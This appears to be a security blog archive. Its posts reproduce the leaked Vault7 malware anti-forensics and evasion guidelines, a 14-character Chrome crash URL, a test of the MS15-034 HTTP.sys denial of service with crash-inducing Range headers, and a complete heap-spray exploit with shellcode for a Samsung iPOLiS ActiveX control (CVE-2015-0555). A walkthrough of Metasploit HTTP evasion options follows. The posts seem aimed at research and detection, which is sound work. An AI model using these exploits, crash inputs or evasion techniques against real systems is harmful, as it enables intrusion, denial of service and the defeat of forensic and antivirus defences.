Saturday, April 8, 2017

Vault7: Malware and Disk I/O (Input Output)

aa
Following were the guidelines given to Malware authors at CIA, how to deal with Disk I/O and steps taken to save data on to disk or deleting saved date from disk.
DirectiveRationale
DO explicitly document the "disk forensic footprint" that could be potentially created by various features of a binary/tool on a remote target.
Enables better operational risk assessments with knowledge of potential file system forensic artefacts.
DO NOT read, write and/or cache data to disk unnecessarily. Be cognizant of 3rd party code that may implicitly write/cache data to disk.Lowers potential for forensic artefacts and potential signatures.
DO NOT write plain-text collection data to disk.Raises difficulty of incident response and forensic analysis.
DO encrypt all data written to disk.Disguises intent of file (collection, sensitive code, etc) and raises difficulty of forensic analysis and incident response.
DO utilize a secure erase when removing a file from disk that wipes at a minimum the file's filename, datetime stamps (create, modify and access) and its content.
(Note: The definition of "secure erase" varies from filesystem to filesystem, but at least a single pass of zeros of the data should be performed. The emphasis here is on removing all filesystem artefacts that could be useful during forensic analysis)
Raises difficulty of incident response and forensic analysis.
DO NOT perform Disk I/O operations that will cause the system to become unresponsive to the user or alerting to a System Administrator.
Avoids unwanted attention from the user or system administrator to tool's existence and behavior.
DO NOT use a "magic header/footer" for encrypted files written to disk. All encrypted files should be completely opaque data files.Avoids signature of custom file format's magic values.
DO NOT use hard-coded filenames or filepaths when writing files to disk. This must be configurable at deployment time by the operator.Allows operator to choose the proper filename that fits with in the operational target.
DO have a configurable maximum size limit and/or output file count for writing encrypted output files.
Avoids situations where a collection task can get out of control and fills the target's disk; which will draw unwanted attention to the tool and/or the operation.


Vault7: Malware evasion and Reverse Engineering difficulty Comparison


This is basically Do's and Don'ts for a Malware author. Below table explains how a malware author can bypass different AntiVirus engines, by reversing the logic we can use similar concepts to detect the malware. Below pointers apply to PE files, Mach-O, ELF and other binaries.
EvasionRationale/Detection
DO obfuscate or encrypt all strings and configuration data that directly relate to tool functionality. Consideration should be made to also only de-obfuscating strings in-memory at the moment the data is needed. When a previously de-obfuscated value is no longer needed, it should be wiped from memory.
String data and/or configuration data is very useful to analysts and reverse-engineers.
DO NOT decrypt or de-obfuscate all string data or configuration data immediately upon execution.Raises the difficulty for automated dynamic analysis of the binary to find sensitive data.
DO explicitly remove sensitive data (encryption keys, raw collection data, shellcode, uploaded modules, etc) from memory as soon as the data is no longer needed in plain-text form.
DO NOT RELY ON THE OPERATING SYSTEM TO DO THIS UPON TERMINATION OF EXECUTION.
Raises the difficulty for incident response and forensics review.
DO utilize a deployment-time unique key for obfuscation/de-obfuscation of sensitive strings and configuration data.Raises the difficulty of analysis of multiple deployments of the same tool.
DO strip all debug symbol information, manifests(MSVC artefact), build paths, developer usernames from the final build of a binary.Raises the difficulty for analysis and reverse-engineering, and removes artefacts used for attribution/origination.
DO strip all debugging output (e.g. calls to printf(), OutputDebugString(), etc) from the final build of a tool.Raises the difficulty for analysis and reverse-engineering.
DO NOT explicitly import/call functions that is not consistent with a tool's overt functionality (i.e. WriteProcessMemory, VirtualAlloc, CreateRemoteThread, etc - for binary that is supposed to be a notepad replacement).Lowers potential scrutiny of binary and slightly raises the difficulty for static analysis and reverse-engineering.
DO NOT export sensitive function names; if having exports are required for the binary, utilize an ordinal or a benign function name.Raises the difficulty for analysis and reverse-engineering.
DO NOT generate crash dump files, core dump files, "Blue" screens, Dr Watson or other dialog pop-ups and/or other artefacts in the event of a program crash.
DO attempt to force a program crash during unit testing in order to properly verify this.
Avoids suspicion by the end user and system admins, and raises the difficulty for incident response and reverse-engineering.
DO NOT perform operations that will cause the target computer to be unresponsive to the user (e.g. CPU spikes, screen flashes, screen "freezing", etc).Avoids unwanted attention from the user or system administrator to tool's existence and behaviour.
DO make all reasonable efforts to minimize binary file size for all binaries that will be uploaded to a remote target (without the use of packers or compression). Ideal binary file sizes should be under 150KB for a fully featured tool.Shortens overall "time on air" not only to get the tool on target, but to time to execute functionality and clean-up.
DO provide a means to completely "uninstall"/"remove" implants, function hooks, injected threads, dropped files, registry keys, services, forked processes, etc whenever possible. Explicitly document (even if the documentation is  "There is no uninstall for this ") the procedures, permissions required and side effects of removal.Avoids unwanted data left on target. Also, proper documentation allows operators to make better operational risk assessment and fully understand the implications of using a tool or specific feature of a tool.
DO NOT leave dates/times such as compile timestamps, linker timestamps, build times, access times, etc. that correlate to general US core working hours (i.e. 8am-6pm Eastern time)Avoids direct correlation to origination in the United States.
DO NOT leave data in a binary file that demonstrates CIA, USG, or its witting partner companies involvement in the creation or use of the binary/tool.
Attribution of binary/tool/etc by an adversary can cause irreversible impacts to past, present and future USG operations and equities.
DO NOT have data that contains CIA and USG cover terms, compartments, operation code names  or other CIA and USG specific terminology in the binary.Attribution of binary/tool/etc by an adversary can cause irreversible impacts to past, present and future USG operations and equities.
DO NOT have "dirty words" in the binary.Dirty words, such as hacker terms, may cause unwarranted scrutiny of the binary file in question.
CIA - Central Intelligence Agency
USG - United States Government

Wednesday, September 23, 2015

ChromeCrash: It is not 16 characters but 14!

16 characters can crash latest Chrome browser, there are many articles related to this DoS Vulnerability. Most of the articles state minimum required characters to crash is 16 but my tests show that 14 characters can trigger crash.
Those articles point to below URL
http://a/%%30%30

Tested with
ws://a/%%30%30
ws URI handler stands for WebSockets

One of the first bugs in Chrome uses one character (%) to crash, found by one of my friends Rishi Narang.

Tested on
Google Chrome45.0.2454.99 (Official Buildm (32-bit)
Revision8813113675a50e4f7e90fec49a3eb1796454618b-refs/branch-heads/2454@{#492}
OSWindows
List of IANA recognized URI Handlers can be found at
http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml

Friday, April 17, 2015

HTTP.sys Denial of Service (MS15-034/CVE-2015-1635)

The vulnerability is due to crafted HTTP request by passing large value in Range header, IIS fails to validate the value properly leading to Denial of Service (Unresponsive or Blue Screen of Death) and possible Code Execution.

To trigger the vulnerability request a resource which must be present on the IIS web server, say default files (welcome.png, iisstart.htm etc.)

Original PoC was posted on Pastebin
http://pastebin.com/raw.php?i=ypURDPc4

You can verify if Kernel-mode Caching is enabled (which is enabled by default) or not.
If IIS Manager is installed follow below steps.
IIS Manager -> Default Web Site -> Output Caching ->double click -> Edit Feature Settings (on top right)

To add Cache Rule, click on Add link on top right (no required though)


We can verify http parameters using command line(CLI).


I successfully tested and observed BSoD on Windows 7 SP1 IIS 7.5, default installation.
Following range header didn't lead to crash in my case.
Range: bytes=0-18446744073709551615
but
Range: bytes=18-18446744073709551615
will definitely lead to DoS, single HTTP request didn't lead to DoS in my tests. We have to atleast make 2 or 3 HTTP requests.

Auditing/Assessing IIS using script available on pastebin
Request
GET / HTTP/1.1
Host: 192.168.56.110
Range: bytes=0-18446744073709551615

Response
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "a0495b17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Fri, 17 Apr 2015 06:51:08 GMT
Content-Length: 362
Content-Range: bytes */689
[!!] Looks VULN

Error message "HTTP Error 416. The requested range is not satisfiable" indicates the IIS Web Server is Vulnerable.

Even if we request with valid resource(welcome.png) and range 0-18446744073709551615 we get response shown above with 416 status code but doesn't see BSoD or unresponsiveness.
GET /welcome.png HTTP/1.1

Blue Screen of Death
We can see a connection reset, junk response or no response from IIS server(will lead to multiple duplicate requests) indicating unresponsiveness or BSoD. Lets look at Wireshark traces showing these scenarios.
Connection Reset from IIS Server

GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Traceback (most recent call last):
  File "./ms15_034.py", line 27, in
    goodResp = client_socket.recv(1024)
socket.error: [Errno 104] Connection reset by peer

Junk Response (partial content)

This type of response will definitely lead to BSoD.
HTTP/1.1 206 Partial Content
Content-Type: image/png
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "30df5f17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
?$? ?3s? ? ???$?h$z? B?Content-Range: bytes 18-429

No response from IIS Server (duplicate requests)
This scenario mostly leads to Unresponsiveness. PoC script might be stuck at request phase only
GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Successful attack will lead to BSoD, following are the error messages which I observed
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA

We will see following error message once the Server comes up after recovering from BSoD.

No authentication required to trigger BSoD, Patch Immediately!!!

For more details
https://github.com/rapid7/metasploit-framework/pull/5150
https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/

Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (Heap Spray)


Both the commands given below will generate same payload but msfpayload will be discontinued from future metasploit releases.
root@kali-ucs:~# msfpayload windows/exec cmd=calc J                                                                         root@kali-ucs:~# msfvenom -p windows/exec cmd=calc -f js_le
%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100
root@kali-ucs:~#

Selecting js_be option to mefvenom will throw "Big endian format selected for a non big endian payload" error.

Javascript shellcode can have null bytes.

<html>
<!--
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object> <script>
var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
// SEH and nSEH will point to 0x06060606 // 0x06060606 will point to (nops+shellcode) chunk var hbuff = ""; for (i = 0; i <5000; i++) { hbuff += "\x06"; }
// trigget crash target.ReadConfigValue(hbuff);
</script> </html>

HTTP Evasions using Metasploit Framework

HTTP Evasions using metasploit module java_jre17_reflection_types. Below are the details of HTTP exploit which we will be using for our tests.
msf > info exploit/multi/browser/java_jre17_reflection_types
       Name: Java Applet Reflection Type Confusion Remote Code Execution
     Module: exploit/multi/browser/java_jre17_reflection_types
   Platform: Java, Linux, OSX, Windows
CVE: 2013-2423 (http://cvedetails.com/cve/2013-2423/)

Execute below commands to start using the exploit for launching attacks
msf > use exploit/multi/browser/java_jre17_reflection_types                                                          
msf exploit(java_jre17_reflection_types) >

Execute show options command to know what parameters need to be set before launching attack.
We need to set different options like destination IP/port, local IP/port and payload.

Following are different evasions which are supported by Metasploit.
msf exploit(java_jre17_reflection_types) > show evasion                                                              
Module evasion options:
   Name           : HTML::base64
   Current Setting: none
   Description    : Enable HTML obfuscation via an embeded base64 html object (IE 
      not supported) (accepted: none, plain, single_pad, double_pad, 
      random_space_injection)

   Name           : HTML::javascript::escape
   Current Setting: 0
   Description    : Enable HTML obfuscation via HTML escaping (number of iterations)

   Name           : HTML::unicode
   Current Setting: none
   Description    : Enable HTTP obfuscation via unicode (accepted: none, utf-16le, 
      utf-16be, utf-16be-marker, utf-32le, utf-32be)

   Name           : HTTP::chunked
   Current Setting: false
   Description    : Enable chunking of HTTP responses via "Transfer-Encoding: 
      chunked"

   Name           : HTTP::compression
   Current Setting: none
   Description    : Enable compression of HTTP responses via content encoding 
      (accepted: none, gzip, deflate)

   Name           : HTTP::header_folding
   Current Setting: false
   Description    : Enable folding of HTTP headers

   Name           : HTTP::junk_headers
   Current Setting: false
   Description    : Enable insertion of random junk HTTP headers

   Name           : HTTP::server_name
   Current Setting: Apache
   Description    : Configures the Server header of all outgoing replies

   Name           : TCP::max_send_size
   Current Setting: 0
   Description    : Maximum tcp segment size.  (0 = disable)

   Name           : TCP::send_delay
   Current Setting: 0
   Description    : Delays inserted before every send.  (0 = disable)
msf exploit(java_jre17_reflection_types) >

To select any evasion execute command similar to
msf exploit(java_jre17_reflection_types) > set evasion_name parameter
e.g.
msf exploit(java_jre17_reflection_types) > set HTTP::compression gzip


base64
Encode HTML page with base64, payload is not delivered in this case.
Base64 is binary-to-text encoding scheme that represent binary data in an ASCII string format by translating it into a radix-64 representation.


http://www.hcidata.info/base64.htm

javascript escape (iteration 1)
Insert unescape function into HTML page.
escape() function is used to encode string for portability reasons so it can be transmitted across networks and computers. unescape() function decodes an encoded string.

String Encoding: document.write(escape("Escape Function!"));
Output of Above Code: Escape%20Function%21

String Encoding: document.write(unescape("Escape%u20Function%u21"));
Output of Above Code: Escape Function!



unicode (utf16-be)
Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language.

For more info on Unicode
http://unicode.org/standard/WhatIsUnicode.html

chunked
Instead of "Content-Length" header, HTTP response will have "Transfer-Encoding" and data is sent in chunks whose size is mentioned at the start of the HTTP response data.



compression (gzip)
The process of reducing data size is known as “data compression”. GZIP performs best on text-based data say, CSS, JavaScript, HTML, most of the browsers support GZIP compression. For GZIP compression intricacies, refer this Youtube link.



Header Folding
Insert characters like space(\x20), horizontal tab(\x09) etc. between headers.
From RFC 2616,
        HTTP/1.1 header field values can be folded onto multiple lines if the continuation
        line begins with a space or horizontal tab. All linear white space, including folding,
        has the same semantics as SP. A recipient MAY replace any linear white space
        with a single SP before interpreting the field value or forwarding the message
        downstream.


Junk Headers
Insert invalid headers into the HTTP response.



TCP max_send_size
Metasploit doesn't send packets with segment size of  8 bytes when max_send_size is set to 8. In the normal attack scenario we were sending 30 to 40 packets but in this evasion type we send 80 packets.

TCP send_delay
TCP Delay, not sure the value passed is micro seconds or seconds, we doesn't see any delay between packets.